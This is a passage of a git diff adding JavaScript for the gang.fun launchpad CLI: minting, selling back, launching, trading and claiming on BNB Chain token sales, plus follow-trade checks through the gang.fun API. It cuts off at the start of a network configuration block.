&& { padGen: PAD3_GEN }), pad: ctx.pad, name, symbol, logoURI: logo.logoURI, ...(logo.uploaded && { uploaded: true }), + metaURI: meta.metaURI, metadata: meta.metadata, quote: sym || quote, preset: presetName, config: cfgView(cfg), + sharePrice: await units(ctx, quote, quoteWbnb ? price : (price * 100n) / 102n), devShares, devCost: await units(ctx, quote, need), + ...(v2 && v.postMint && { + guardNote: cfg.guardBps + ? `post-launch mints pause while the pool is more than ${cfg.guardBps / 100}% below its ${cfg.twapWindow / 60}-minute average (--guard ${cfg.guardBps / 100})` + : 'the price guard is off (the default): post-launch minting does not pause when the price drops; the quota cap of 10 shares per wallet bounds it. Turn it on with --guard 15|20|30 (% below the average, over --twap-window 15|30 minutes)', + }), + minWallets: Math.ceil(TOTAL_SHARES / cfg.baseQuota), + note: '10,000 shares at one price; it launches once they are sold (or you open early at ≥ 30%: gang fly open-early), launchDelay later, by anyone (gang fly launch; gang.fun\'s keeper does it too). Minters can sell back before that at the mint price less the exit fee. No GangBond or buy-back on these tokens.', + })) + } + + if (sub === 'mint') { + const token = tokenArg() + const want = parseIntIn(fail, 'shares', opt('shares'), 1, 10_000) + const sale = await loadSale(token) + const who = me() + const acct = await accountOf(ctx, token, sale, who) + if (sale.gate && !(await hasAgent(ctx, sale.gate, who))) fail('this wallet holds no Agent ID; 铸币飞轮 minting is Agent-only', { wallet: who }) + const referrer = await checkReferrer(ctx, token, sale, who, acct.raw, opt('ref'), fail) + const quota = { quota: acct.view.quota, quotaLeft: acct.view.quotaLeft, maxPerTx: sale.rules.maxPerTx } + if (!acct.view.quotaLeft) fail('this wallet\'s quota in this sale is used up', { ...quota, hint: `invites add ${sale.rules.inviteBonus} share(s) each: gang fly invite --token ${token}${net}` }) + const refNote = referrer !== zeroAddress + ? { ref: referrer, inviteNote: `first mint here: ${referrer} gets +${sale.rules.inviteBonus} share(s) of quota` } + : !acct.raw.minted && sale.rules.inviteBonus ? { inviteNote: 'first mint here: pass --ref if someone invited this wallet (only the first mint can carry it)' } : {} + const bnb = same(sale.quote, ctx.wbnb) && !flag('use-wbnb') + + if (sale.status === 'minting') { + const [accepted, cost, fee] = await ctx.read(ctx.pad, FLY_PAD_ABI, 'previewMint', [token, who, BigInt(want)]) + if (accepted === 0n) fail('no shares available to this wallet now', quota) + const minShares = flag('min-shares') ? parseIntIn(fail, 'min-shares', opt('min-shares'), 1, Number(accepted)) : Number(accepted) + const need = cost + fee + const fills = sale.sold + Number(accepted) === TOTAL_SHARES + // launchDelay 0: the mint that fills also launches (up to about 3.8M gas); near the end other mints landing first can make + // this one that mint, so it gets a launch-sized gas limit + const mayLaunch = sale.rules.launchDelaySec === 0 && sale.sharesLeft - Number(accepted) <= 10 * sale.rules.maxPerTx + const extra = { + step: 'mint', kind: 'fly', phase: 'pre-launch', token, shares: Number(accepted), ...(Number(accepted) < want && { truncatedFrom: want, ...quota }), + cost: await units(ctx, sale.quote, cost), fee: await units(ctx, sale.quote, fee), feePct: sale.rules.mintFeePct, quote: sale.quoteSymbol, + tokens: formatUnits(accepted * TOKENS_PER_SHARE, 18), soldAfter: sale.sold + Number(accepted), quotaLeftAfter: acct.view.quotaLeft - Number(accepted), ...refNote, + ...(fills && { fills: `this mint fills the sale${sale.rules.launchDelaySec ? `; it launches ${sale.rules.launchDelaySec}s later (gang fly launch, anyone)` : ' and launches it (higher gas)'}` }), + note: `the ${sale.rules.mintFeePct}% mint fee goes to the platform; before launch you can sell back at the mint price less the exit fee (gang withdraw)`, + } + if (bnb) { + const native = await ctx.client.getBalance({ address: who }) + if (native < need + GAS_RESERVE) fail('not enough BNB for this mint (native BNB must also cover gas)', { haveBnb: formatUnits(native, 18), needBnb: formatUnits(need, 18), hint: 'add --use-wbnb to pay from WBNB' }) + const data = encodeFunctionData({ abi: FLY_PAD_ABI, functionName: 'mintWithBnb', args: [token, accepted, BigInt(minShares), referrer] }) + const dry = await dryRun(ctx, who, ctx.pad, data, need) + if (dry) return out({ success: false, ...extra, ...dry }) + const tx = { from: who, to: ctx.pad, data, value: need } + if (mayLaunch) try { tx.gas = await roomyGas(ctx, tx, GAS_FLOOR.launch) } catch (e) { return out({ success: false, ...extra, reverted: true, ...(revertOf(e) || { error: short(e) }) }) } + return out(write(tx, { ...extra, payBnb: formatUnits(need, 18), ...(tx.gas && { gasLimit: tx.gas.toString() }) })) + } + const pre = await fund(ctx, { me: who, token: sale.quote, need, spender: ctx.pad, sym: sale.quoteSymbol }, rawOnly, summarize) + if (pre) return out(pre) + const data = encodeFunctionData({ abi: FLY_PAD_ABI, functionName: 'mint', args: [token, accepted, BigInt(minShares), referrer] }) + const dry = await dryRun(ctx, who, ctx.pad, data) + if (dry) return out({ success: false, ...extra, ...dry }) + const tx = { from: who, to: ctx.pad, data } + if (mayLaunch) try { tx.gas = await roomyGas(ctx, tx, GAS_FLOOR.launch) } catch (e) { return out({ success: false, ...extra, reverted: true, ...(revertOf(e) || { error: short(e) }) }) } + return out(write(tx, { ...extra, ...(tx.gas && { gasLimit: tx.gas.toString() }) })) + } + + if (!sale.launched) { + fail(`the sale is ${sale.status}: no mints until it launches`, { + token, ...(sale.launchAt && { launchAt: sale.launchAt, launchableNow: sale.launchableNow }), + hint: sale.launchableNow ? `anyone can launch it now: gang fly launch --token ${token}${net}` : 'wait for the launch (gang info)', + }) + } + if (!sale.rules.postMint) fail('this sale has no post-launch minting: buy in the pool', { hint: `gang buy --token ${token} --amount ${net}` }) + const slippage = parseNum(fail, 'slippage', opt('slippage', '2'), 0, 50) + const [accepted, paid, fee, tokensOut, ok] = await ctx.read(ctx.pad, FLY_PAD_ABI, 'previewMintPost', [token, who, BigInt(want)]) + const handler = await handlerOf() + const side = await poolSide(ctx, token, sale, handler) + const priceView = { + poolPrice: side.prices.pool, + ...(tokensOut > 0n && { mintPricePerToken: formatUnits((paid * 10n ** 18n) / tokensOut, 18) }), + ...(tokensOut > 0n && side.raw.spot > 0n && { premiumOverPoolPct: Number(((paid * Q112 * 10_000n) / tokensOut / side.raw.spot) - 10_000n) / 100 }), + unit: side.prices.unit, + } + if (accepted === 0n) fail('no shares available to this wallet now', quota) + const minTokensOut = minOf(tokensOut, slippage) + const maxSpent = paid + fee + const data = bnb + ? encodeFunctionData({ abi: FLY_PAD_ABI, functionName: 'mintPostWithBnb', args: [token, accepted, minTokensOut, referrer] }) + : encodeFunctionData({ abi: FLY_PAD_ABI, functionName: 'mintPost', args: [token, accepted, minTokensOut, maxSpent, referrer] }) + const extra = { + step: 'mint', kind: 'fly', phase: 'post-launch', function: bnb ? 'mintPostWithBnb' : 'mintPost', token, shares: Number(accepted), + ...(Number(accepted) < want && { truncatedFrom: want, ...quota }), + paid: await units(ctx, sale.quote, paid), fee: await units(ctx, sale.quote, fee), maxSpent: await units(ctx, sale.quote, maxSpent), quote: sale.quoteSymbol, + expectTokens: formatUnits(tokensOut, 18), minTokensOut: formatUnits(minTokensOut, 18), slippagePct: slippage, ...priceView, + quotaLeftAfter: acct.view.quotaLeft - Number(accepted), ...refNote, + note: `the money goes into the pool (${sale.rules.buyPct}% of it buys from it${sale.rules.devCutPct ? `, ${sale.rules.devCutPct}% to the creator` : ''}), the tokens are minted to you; the ${sale.rules.mintFeePct}% fee is the platform's. Minted tokens earn the holder reward while you keep ${sale.rules.holdPct}% of them`, + } + if (!ok) { + // the preview says no: the same call, simulated, names the rule (a BNB sale: BNB lent for the simulation only). Only + // a rule of the pad / handler / token counts: a quote-token revert (no allowance yet) says nothing about the rule + const dry = await dryRun(ctx, who, ctx.pad, data, bnb ? maxSpent : 0n, bnb) + const r = dry?.reverted && HINTS[dry.error] ? dry : null + // no rule from the simulation (e.g. it stopped at the quote transfer): the pad's rules read as gang info does, + // and what is left when none applies is this wallet's own pace + const pause = r ? null : await mintPause(ctx, token, sale, handler, side) + return out({ + success: false, ...extra, error: `a post-launch mint is refused right now${r ? `: ${r.error}` : `: ${pause.pausedNow ? pause.reason : 'pace'}`}`, + ...(r ? { reason: r.error, hint: r.hint } : pause.pausedNow ? { reason: pause.reason, hint: pause.why, resumes: pause.resumes } : { + reason: 'pace', hint: HINTS.PaceExceeded, + }), + prices: side.prices, supply: side.supply, + }) + } + if (bnb) { + const native = await ctx.client.getBalance({ address: who }) + if (native < maxSpent + GAS_RESERVE) fail('not enough BNB for this mint (native BNB must also cover gas)', { haveBnb: formatUnits(native, 18), needBnb: formatUnits(maxSpent, 18), hint: 'add --use-wbnb to pay from WBNB' }) + const dry = await dryRun(ctx, who, ctx.pad, data, maxSpent) + if (dry) return out({ success: false, ...extra, ...dry }) + const tx = { from: who, to: ctx.pad, data, value: maxSpent } + try { tx.gas = await roomyGas(ctx, tx, GAS_FLOOR.mintPost) } catch (e) { return out({ success: false, ...extra, reverted: true, ...(revertOf(e) || { error: short(e) }) }) } + return out(write(tx, { ...extra, payBnb: formatUnits(maxSpent, 18), refundNote: 'what the mint does not spend comes back in the same tx', gasLimit: tx.gas.toString(), gasNote: GAS_NOTE })) + } + const pre = await fund(ctx, { me: who, token: sale.quote, need: maxSpent, spender: ctx.pad, sym: sale.quoteSymbol }, rawOnly, summarize) + if (pre) return out(pre) + const dry = await dryRun(ctx, who, ctx.pad, data) + if (dry) return out({ success: false, ...extra, ...dry }) + const tx = { from: who, to: ctx.pad, data } + try { tx.gas = await roomyGas(ctx, tx, GAS_FLOOR.mintPost) } catch (e) { return out({ success: false, ...extra, reverted: true, ...(revertOf(e) || { error: short(e) }) }) } + return out(write(tx, { ...extra, gasLimit: tx.gas.toString(), gasNote: GAS_NOTE })) + } + + if (sub === 'withdraw') { + const token = tokenArg() + const sale = await loadSale(token) + if (!sale.sellBackOpen) { + fail(`the sale is ${sale.status}: sell-back is closed`, sale.launched + ? { pair: sale.pair, hint: `it launched: sell in the pool with gang sell --token ${token} (--amount | --all)${net}` } + : { sellBackReopensAt: sale.sellBackReopensAt, hint: 'a filled sale launches soon (gang fly launch); sell-backs reopen only if it is still not launched 7 days later' }) + } + const who = me() + const acct = await accountOf(ctx, token, sale, who) + const held = Number(acct.raw.preShares) + if (!held) fail('this wallet has no pre-launch shares in this sale') + if (flag('all') && flag('shares')) fail('give --shares or --all, not both') + const shares = flag('all') ? held : parseIntIn(fail, 'shares', opt('shares'), 1, held) + const [payout, fee] = await ctx.read(ctx.pad, FLY_PAD_ABI, 'previewWithdraw', [token, who, BigInt(shares)]) + const minPayout = (payout * (10_000n - WITHDRAW_TOLERANCE_BPS)) / 10_000n + const data = encodeFunctionData({ abi: FLY_PAD_ABI, functionName: 'withdraw', args: [token, BigInt(shares), minPayout] }) + const dry = await dryRun(ctx, who, ctx.pad, data) + if (dry) return out({ success: false, step: 'withdraw', ...dry }) + return out(write({ from: who, to: ctx.pad, data }, { + step: 'withdraw', kind: 'fly', token, shares, receive: await units(ctx, sale.quote, payout), minReceive: await units(ctx, sale.quote, minPayout), + exitFee: await units(ctx, sale.quote, fee), exitFeePct: sale.rules.exitFeeNowPct, quote: sale.quoteSymbol, + note: `mint price less the ${sale.rules.exitFeeNowPct}% exit fee (none after 7 days without progress); the mint fee is not returned; the shares go back to this wallet\'s quota`, + })) + } + + if (sub === 'open-early' || sub === 'launch') { + const token = tokenArg() + const sale = await loadSale(token) + const who = me() + if (sale.launched) fail('already launched', { pair: sale.pair }) + if (sub === 'open-early') { + if (sale.status !== 'minting') fail(`the sale is ${sale.status}: open-early is for a sale still minting`, { launchAt: sale.launchAt }) + if (!same(who, sale.creator)) fail('only the creator can open the sale early', { creator: sale.creator, wallet: who }) + if (sale.sold < EARLY_OPEN_SHARES) fail(`open-early needs at least ${EARLY_OPEN_SHARES} shares (30%) sold`, { sold: sale.sold }) + } else { + if (sale.status === 'minting') fail('the sale has not filled yet: nothing to launch', { sold: sale.sold, hint: sale.canOpenEarly ? `the creator can open early: gang fly open-early --token ${token}${net}` : undefined }) + if (sale.status === 'refund') fail('fewer than 3,000 shares are held 7 days after the fill: this sale can no longer launch, only refund (gang withdraw)', { sold: sale.sold }) + if (!sale.launchableNow) fail(`too early: launch opens at ${sale.launchAt}`, { launchIn: sale.launchIn }) + } + const data = encodeFunctionData({ abi: FLY_PAD_ABI, functionName: sub === 'launch' ? 'launch' : 'openEarly', args: [token] }) + const dry = await dryRun(ctx, who, ctx.pad, data) + if (dry) return out({ success: false, step: sub, ...dry }) + const tx = { from: who, to: ctx.pad, data } + if (sub === 'launch' || !sale.rules.launchDelaySec) { + try { tx.gas = await roomyGas(ctx, tx, GAS_FLOOR.launch) } catch (e) { return out({ success: false, step: sub, reverted: true, ...(revertOf(e) || { error: short(e) }) }) } + } + return out(write(tx, { + step: sub, kind: 'fly', token, sold: sale.sold, ...(tx.gas && { gasLimit: tx.gas.toString() }), + note: sub === 'launch' + ? `creates the PancakeSwap pool at the mint price (up to about 3.8M gas); protection runs ${sale.rules.protectionSec}s after it` + : sale.rules.launchDelaySec ? `stops the sale at ${sale.sold} shares; anyone can launch it ${sale.rules.launchDelaySec}s later (gang fly launch)` : `stops the sale at ${sale.sold} shares and launches in the same tx (up to about 3.8M gas)`, + })) + } + + if (sub === 'buy' || sub === 'sell') { + const token = tokenArg() + const sale = await loadSale(token) + if (!sale.launched || !sale.pair) { + fail(`the sale is ${sale.status}: gang ${sub} trades the token in its pool after launch`, { + hint: sub === 'buy' ? `before launch, mint shares: gang mint --token ${token} --shares ${net}` : `before launch, sell shares back: gang withdraw --token ${token} (--shares | --all)${net}`, + }) + } + for (const f of ['bond', 'break-bond', 'settle-first']) if (flag(f)) fail(`--${f}: 铸币飞轮 tokens take no GangBond`) + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + if (sub === 'sell' && flag('all') === !!opt('amount')) fail('pass exactly one of --amount or --all') + if (sub === 'buy' && !flag('amount')) fail('--amount required') + const handler = await handlerOf() + const side = await poolSide(ctx, token, sale, handler) + const who = me() + const payBnb = sub === 'buy' && poolPayBnb(ctx, sale.quote, flag) + let extra = {} + if (sub === 'buy' && side.protection.active) { + // launch protection: the handler refuses a buy without an Agent ID or past the wallet's cap, so say it here + if (side.raw.gate !== zeroAddress && !(await hasAgent(ctx, side.raw.gate, who))) { + fail('launch protection: only Agent ID holders can buy from the pool until it ends', { until: side.protection.until, endsIn: side.protection.endsIn }) + } + const bought = await ctx.read(handler, FLY_HANDLER_ABI, 'boughtInWindow', [token, who]) + const left = side.raw.cap > bought ? side.raw.cap - bought : 0n + const amountIn = parseUnits(parseAmount(fail, 'amount', opt('amount')), 18) + let gross = null + try { gross = await grossBuy(ctx, token, sale.quote, payBnb, amountIn) } catch { /* the pool trade reports a missing pool */ } + if (gross != null && gross > left) { + fail('launch protection: this buy takes more tokens from the pool than this wallet\'s protected cap allows', { + expectTokensBeforeTax: formatUnits(gross, 18), capLeftTokens: formatUnits(left, 18), until: side.protection.until, + hint: sale.rules.postMint ? `buy less, or mint instead: gang mint --token ${token} --shares ${net}` : 'buy less, or wait for the protection to end', + }) + } + extra = { protection: { until: side.protection.until, capLeftTokens: formatUnits(left, 18) } } + } + let outWarning = null + if (sub === 'sell') { + const a = await ctx.read(ctx.pad, FLY_PAD_ABI, 'accounts', [token, who]) + const baseline = a[6] + if (baseline > 0n && !(await ctx.read(handler, FLY_HANDLER_ABI, 'isOut', [token, who]))) { + const bal = await ctx.read(token, TOKEN_ABI, 'balanceOf', [who]) + const line = holdLine(baseline, sale.rules.holdPct) + const sellable = bal > line ? bal - line : 0n + const amount = flag('all') ? bal : parseUnits(parseAmount(fail, 'amount', opt('amount')), 18) + if (amount <= bal && amount > sellable) { + outWarning = { + warning: `selling ${formatUnits(amount, 18)} tokens goes past sellableBeforeOut (${formatUnits(sellable, 18)}): this wallet drops below its hold line (${formatUnits(line, 18)} tokens) and stops earning the holder reward until it mints again`, + sellableBeforeOut: formatUnits(sellable, 18), holdLineTokens: formatUnits(line, 18), balance: formatUnits(bal, 18), + } + if (!flag('confirm-out')) fail(outWarning.warning, { ...outWarning, token, wallet: who, hint: 'sell at most sellableBeforeOut to keep the reward, or re-run with --confirm-out once the user accepts' }) + } + } + } + // GangRouter's pool functions trade any token on its Pancake pair (they never ask the pad): the fly token too + const poolCtx = { ...ctx, pad: null } + return out(await poolTrade(poolCtx, { + side: sub, token, quote: sale.quote, me: who, slippage, buyTaxBps: BUY_TAX_PCT * 100, sellTaxBps: side.raw.sellTaxBps, handler, + amount: sub === 'sell' && flag('all') ? null : parseAmount(fail, 'amount', opt('amount')), all: sub === 'sell' && flag('all'), + swapBackGas: true, payBnb, toBnb: flag('to-bnb'), gasFloor: GAS_FLOOR[sub], + base: { + kind: 'fly', pair: sale.pair, ...extra, ...(outWarning && { ...outWarning, confirmedOut: true }), + ...(sub === 'buy' && { + rewardNote: 'pool-bought tokens earn no holder reward (only minted ones do)', + gasNote: GAS_NOTE, + }), + // a large pool buy seen in the public mempool can be front-run (issue #75 asks for private sends): the CLI does + // not broadcast, so it can only say where to send it + ...(sub === 'buy' && (rawOnly || side.protection.active) && { mempoolNote: rawOnly + ? 'send this buy through a private submission endpoint (not a public RPC): a large pool buy in the public mempool can be front-run' + : 'the Agentic Wallet broadcasts through its own RPC; for a large buy, consider gang buy … --calldata and sending the tx through a private submission endpoint' }), + }, + }, { rawOnly, summarize, revertOf })) + } + + if (sub === 'claim') { + const token = tokenArg() + const sale = await loadSale(token) + const who = me() + const vault = await ctx.read(ctx.pad, FLY_PAD_ABI, 'dividendVault') + let spot = 0n, standing = {} + if (sale.launched) { + const handler = await handlerOf() + const [[s], isOut, a, bal] = await Promise.all([ + ctx.read(ctx.pad, FLY_PAD_ABI, 'prices', [token]), ctx.read(handler, FLY_HANDLER_ABI, 'isOut', [token, who]), + ctx.read(ctx.pad, FLY_PAD_ABI, 'accounts', [token, who]), ctx.read(token, TOKEN_ABI, 'balanceOf', [who]), + ]) + spot = (s * 10n ** 18n) / Q112 + const line = holdLine(a[6], sale.rules.holdPct) + standing = { reward: a[6] === 0n ? 'none' : isOut ? 'out' : 'earning', holdLineTokens: formatUnits(line, 18), balance: formatUnits(bal, 18) } + } + const r = await dividendOf(ctx, vault, token, who, sale.quote, spot) + const unsold = r.creditedUnsoldTokens && Number(r.creditedUnsoldTokens) > 0 + if (r.claimableRaw === 0n) { + fail('nothing to claim yet', { ...standing, ...(unsold && { creditedUnsoldEstimate: r.creditedUnsoldEstimate, note: r.note }), hint: `gang status --token ${token}${net}` }) + } + const data = encodeFunctionData({ abi: VAULT_ABI, functionName: 'claim', args: [token] }) + return out(write({ from: who, to: vault, data }, { + step: 'claim', kind: 'fly', token, amount: r.claimable, quote: sale.quoteSymbol, ...standing, + ...(unsold && { stillCreditedUnsold: r.creditedUnsoldEstimate }), + })) + } + + if (sub === 'release') { + // the creator's money that a transfer could not deliver: the pad's dev cut first, then the handler's tax share + const token = tokenArg() + const sale = await loadSale(token) + const who = me() + const handler = await handlerOf() + const [dev, tax] = await Promise.all([ctx.read(ctx.pad, FLY_PAD_ABI, 'owedDev', [token]), ctx.read(handler, FLY_HANDLER_ABI, 'owedOf', [token])]) + if (dev === 0n && tax === 0n) fail('nothing is owed to the creator of this token', { token, creator: sale.creator }) + const [to, abi, functionName, amount, what] = dev > 0n + ? [ctx.pad, FLY_PAD_ABI, 'claimDev', dev, 'dev cut'] + : [handler, FLY_HANDLER_ABI, 'release', tax, 'tax share'] + const data = encodeFunctionData({ abi, functionName, args: [token] }) + const dry = await dryRun(ctx, who, to, data) + if (dry) return out({ success: false, step: 'release', what, ...dry, hint: dry.error === 'execution reverted' ? 'the creator still cannot receive the quote: try again later' : dry.hint }) + return out(write({ from: who, to, data }, { + step: 'release', kind: 'fly', token, what, function: functionName, amount: await units(ctx, sale.quote, amount), quote: sale.quoteSymbol, to: sale.creator, + ...(dev > 0n && tax > 0n && { alsoOwed: { taxShare: await units(ctx, sale.quote, tax), next: `run gang release --token ${token}${net} again after this one` } }), + note: 'anyone may send it; the creator receives it', + })) + } + + if (sub === 'tx') { + const hash = opt('hash') + if (!/^0x[0-9a-fA-F]{64}$/.test(hash ?? '')) fail('--hash must be a tx hash') + const r = await ctx.client.waitForTransactionReceipt({ hash, timeout: 120_000 }) + return out({ success: true, chainId, hash, status: r.status, block: Number(r.blockNumber), events: decodeFly(r.logs), explorer: `${ctx.explorer}/tx/${hash}` }) + } + return fail(USAGE, { got: sub }) +} + +/** The logs of a tx, decoded with the fly ABIs (raw units). */ +export function decodeFly(logs) { + const events = [] + for (const log of logs) { + for (const abi of FLY_EVENT_ABIS) { + try { + const ev = decodeEventLog({ abi, data: log.data, topics: log.topics }) + events.push({ event: ev.eventName, address: log.address, ...JSON.parse(JSON.stringify(ev.args, (_, v) => (typeof v === 'bigint' ? v.toString() : v))) }) + break + } catch { /* other contract / event */ } + } + } + return events +} + +const cfgView = (c) => ({ + raiseBnb: formatUnits(c.raiseBnb, 18), baseQuota: c.baseQuota, inviteBonus: c.inviteBonus, maxPerTx: c.maxPerTx, holdPct: pct(c.holdBps), + mintFeePct: pct(c.mintFeeBps), exitFeePct: pct(c.exitFeeBps), devCutPct: pct(c.devCutBps), buyPct: pct(c.buyBps), sellTaxPct: pct(c.sellTaxBps), + launchDelaySec: c.launchDelay, protectionSec: c.window, protectionCapMul: c.windowCapMul, postMint: c.postMint, tier: TIERS[c.tierMode], + ...(c.tierMode === 2 && { stepPct: pct(c.stepBps), stepShares: c.stepShares, maxMul: c.maxMulX100 / 100 }), supplyCapMul: c.supplyCapMul, + ...(c.guardBps !== undefined && { guardPct: c.guardBps ? pct(c.guardBps) : 'off', twapWindowMin: c.twapWindow / 60 }), +}) + +/** The command that acts on the sale next. `paused`: mintPause (or the wallet's) after launch. */ +function nextFor(sale, token, net, acct, paused) { + if (sale.status === 'minting') return `gang mint --token ${token} --shares ${net}${acct && !acct.minted ? ' [--ref ]' : ''}` + if (sale.status === 'filled') return sale.launchableNow ? `gang fly launch --token ${token}${net}` : `wait until ${sale.launchAt}, then gang fly launch --token ${token}${net}` + if (sale.status === 'stalled') return `gang fly launch --token ${token}${net} (or gang withdraw to sell back)` + if (sale.status === 'refund') return `gang withdraw --token ${token} --all${net}` + if (sale.rules.postMint && paused?.pausedNow) return `gang buy --token ${token} --amount ${net} (post-launch minting is paused: ${paused.why})` + if (sale.rules.postMint && acct && !acct.quotaLeft) return `gang buy --token ${token} --amount ${net} (this wallet's mint quota is used up)` + return sale.rules.postMint ? `gang mint --token ${token} --shares ${net} (or gang buy in the pool)` : `gang buy --token ${token} --amount ${net}` +} diff --git a/src/follow.js b/src/follow.js new file mode 100644 index 0000000..59c05cc --- /dev/null +++ b/src/follow.js @@ -0,0 +1,93 @@ +/** + * Follow trades: a buy that names the note it follows (follow ref in the calldata, see notes.js). + * gang.fun checks whether the note can still be followed (GET /api/notes/:tx/followable) and scores the follow later. + */ +import { formatUnits } from 'viem' +import { API } from './discover.js' +import { fetchError, statusError, why } from './logo.js' +import { UA } from './version.js' + +export const NOTE_TX = /^0x[0-9a-fA-F]{64}$/ +export const MIN_FOLLOW_USD = 1 // gang.fun doesn't count a follow paying less +const SITE = /\/api$/.test(API) ? API.slice(0, -4) : 'https://gang.fun' +export const noteLink = (tx) => `${SITE}/note/${tx.toLowerCase()}` + +const NOT_FOUND_RETRIES = 3 +const RETRY_MS = Number(process.env.GANG_FOLLOW_RETRY_MS || 3000) // env only to make tests fast + +export const REASONS = { + not_found: 'no note with this tx on gang.fun: wrong hash, or the note landed seconds ago and is not indexed yet (try again in a minute)', + not_followable: 'only buy notes and launch manifestos can be followed (this is a sell note or a sample)', + expired: 'too late to follow: the 24h follow window passed, the token graduated, or the note was never revealed', + graduated: 'the token graduated; only curve buys count as follows', + self: 'this is your own note; you can\'t follow yourself', + wrong_token: 'this note is about a different token', +} + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) + +async function getJson(path, timeoutMs = 10_000) { + let r + try { + r = await fetch(`${API}${path}`, { headers: { accept: 'application/json', 'user-agent': UA }, signal: AbortSignal.timeout(timeoutMs) }) + } catch (e) { + throw fetchError(`gang API unreachable (${API}): ${why(e)}`, e) + } + let body = null + try { body = await r.json() } catch { /* status code is enough */ } + if (body?.error === 'unknown route') { + throw new Error(`${API} can't check follows yet (no /notes/:tx/followable); set GANG_API to a gang.fun API that has it`) + } + if (r.status >= 500 || r.status === 429) throw statusError(`gang API ${r.status} on ${path}`, r.status) + return { status: r.status, body } +} + +/** Retry a not_found a few times: a note that just landed may not be indexed yet. */ +async function untilFound(fn) { + for (let i = 0; ; i++) { + const r = await fn() + if (r.reason !== 'not_found' || i >= NOT_FOUND_RETRIES) return r + await sleep(RETRY_MS) + } +} + +/** → { ok, reason, token, track, expiresAt, blind } from gang.fun; without `token` the note's own token is returned. */ +export function checkFollow(noteTx, trader, token) { + const q = new URLSearchParams({ trader: trader.toLowerCase(), ...(token && { token: token.toLowerCase() }) }) + return untilFound(async () => { + const { status, body } = await getJson(`/notes/${noteTx}/followable?${q}`) + if (typeof body?.ok !== 'boolean') { + throw new Error(`gang API ${status} on /notes/${noteTx}/followable${body?.error ? `: ${body.error}` : ''}`) + } + return body + }) +} + +// gang.fun's token page per track: Soft (BNB), the LaunchpadV2 family, GangLaunchpad V3 +const TRACK_PATH = { soft: '/tokens', v2: '/stocks/tokens', v3: '/v3/tokens' } + +/** + * Rough USD value of paying `wei` of the token's quote (BNB on Soft; `decimals` of the quote), from gang.fun's prices; + * null if unknown. Best effort with a short timeout: it only decides whether the preview warns, never whether it's made. + */ +export async function amountUsd(token, track, wei, decimals = 18) { + try { + const { status, body } = await getJson(`${TRACK_PATH[track]}/${token.toLowerCase()}`, 3_000) + const unit = Number(track === 'soft' ? body?.bnbUsd : body?.quoteUsd) + const usd = Number(formatUnits(wei, decimals)) * unit + if (status !== 200 || !Number.isFinite(usd) || !(unit > 0)) return null + // cents above $1; two significant digits below, so a tiny buy doesn't read as $0 + return usd >= 1 ? Math.round(usd * 100) / 100 : Number(usd.toPrecision(2)) + } catch { return null } +} + +/** Unix seconds / ms / ISO → "2026-10-27 14:05 UTC+8" in the local time zone. */ +export function localTime(v) { + const n = typeof v === 'number' ? v : /^\d+$/.test(String(v)) ? Number(v) : Date.parse(v) + if (!Number.isFinite(n)) return null + const ms = n < 1e12 ? n * 1000 : n + const off = -new Date(ms).getTimezoneOffset() + const a = Math.abs(off) + const tz = `UTC${off < 0 ? '-' : '+'}${Math.floor(a / 60)}${a % 60 ? `:${String(a % 60).padStart(2, '0')}` : ''}` + return `${new Date(ms + off * 60_000).toISOString().slice(0, 16).replace('T', ' ')} ${tz}` +} diff --git a/src/gangpad.js b/src/gangpad.js new file mode 100644 index 0000000..f0f3f8d --- /dev/null +++ b/src/gangpad.js @@ -0,0 +1,503 @@ +import { createTransport, encodeFunctionData, http, parseAbi, zeroAddress } from 'viem' +import { bsc, bscTestnet } from 'viem/chains' + +/** + * GangLaunchpad (contract merge, 2026-10-27): V3 tax tokens (bonding curve) and 打新 (fair-mint) sales live on ONE pad — + * one address, one state, one tax handler, one GangRouter. `gang v3` and `gang fair` both talk to it; `kindOf(token)` + * on the pad says which kind a token is (0 = not this pad's, 1 = V3 curve, 2 = 打新, 3 = 铸币飞轮: on 3.0 only, see + * fly.js). The two `create` overloads keep their old selectors, so each command keeps its own ABI fragment. + * + * Each network may have several generations of this pad (GANG_GENS: 3.0, 2.0, 1.0, 2.0 金库版); kindOf on each tells which one has a token. + * + * Env (new name first; the old per-command names still work as aliases). The contracts set the create target (gangGens): + * mainnet: GANG_PAD (aliases GANG_V3_PAD / GANG_FAIR_PAD), GANG_ROUTER, GANG_BOND, GANG_SPLITTER_FACTORY, + * GANG_SPLIT_FACTORY, GANG_LP_FACTORY, GANG_RPC_URL + * testnet: GANG_TESTNET_PAD (aliases GANG_V3_TESTNET_PAD / GANG_FAIR_TESTNET_PAD), + * GANG_TESTNET_ROUTER (alias GANG_ROUTER_TESTNET), GANG_TESTNET_BOND, GANG_TESTNET_SPLITTER_FACTORY, + * GANG_TESTNET_SPLIT_FACTORY, GANG_TESTNET_LP_FACTORY, + * GANG_TESTNET_RPC_URL (aliases GANG_V3_TESTNET_RPC_URL / GANG_FAIR_TESTNET_RPC_URL) + * An RPC variable takes one URL or a comma-separated list; set, it replaces the public nodes below. + */ + +/** + * 2.0 金库版 (GangVaultLaunchpad): 2.0 whose only create is createWithVault, binding the token to a listed lock vault. + * Listed last on each network, so it is never the target of a plain create; gang create --vault picks it. + */ +export const VAULT_GEN = '2.0-vault' + +/** + * GangLaunchpad 3.0 (docs/SPEC-GANG-LAUNCHPAD-3-2026-11-03.md): one permanent, upgradeable pad (a proxy) with 2.0's + * rules, functions and events (same selectors), plus tokenVersionOf (the rule set each token was created under) and a + * four.meme-shaped aggregator entry. An upgrade may add the vault mode (spec §9: createWithVault, vaultOf, lockedOf on + * the same address): vaultModeOf asks the pad, so this CLI follows the upgrade without a new release. Since 2026-11-04 it + * also has the 铸币飞轮 mode (spec §10, kind 3; fly.js), and gated 打新 sales trade through the entry (spec §2, §3). This + * CLI does not trade through the entry: it mints and sells back on the pad, or through the GangRouter. + */ +export const PAD3_GEN = '3.0' + +/** + * GangLaunchpad generations on each network, newest first (2.0 金库版 aside: always last, see VAULT_GEN). A create goes to + * the first; a token already out stays on the pad that created it and is served with that generation's GangRouter, + * GangBond and module factories (each of them is bound to one pad). 2.0 (docs/SPEC-CURVE-CREATOR-FEE-2026-10-31.md) has + * the same V3 curves and 打新 sales, and keeps 70% of the 1% curve fee for the token's creator (creatorFeeOf / + * claimCreatorFee); a 1.0 pad has neither. 3.0 (PAD3_GEN) keeps 2.0's rules on one upgradeable address. + */ +export const GANG_GENS = { + mainnet: [ + // 2026-11-03, proxy block 131404298: 